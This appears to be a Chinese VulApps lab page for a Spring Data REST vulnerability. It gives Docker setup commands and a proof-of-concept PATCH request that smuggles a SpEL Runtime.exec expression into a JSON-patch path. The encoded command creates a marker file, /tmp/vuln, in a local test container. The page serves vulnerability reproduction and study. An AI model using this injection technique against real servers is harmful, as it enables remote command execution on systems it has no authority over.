漏洞信息

获取环境:

  1. 拉取镜像到本地
    $ docker pull medicean/vulapps:s_spring_1
    
  2. 启动环境
    $ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1
    

    -p 8080:8080 前面的 8080 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 8080

PoC

  1. 访问 http://127.0.0.1:8080/,测试服务是否启动成功

  2. 利用 POST 请求添加一个数据
     POST /persons HTTP/1.1
     Host: 127.0.0.1:8080
     Content-Type: application/json
     Cache-Control: no-cache
        
     {"firstName": "VulApps", "lastName": "VulApps"}
    

  3. 执行 PoC
     PATCH /persons/1 HTTP/1.1
     Host: 127.0.0.1:8080
     Content-Type: application/json-patch+json
     Cache-Control: no-cache
     Content-Length: 228
        
     [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]
    

  4. 进入容器,发现成功创建文件

参考链接

改动日志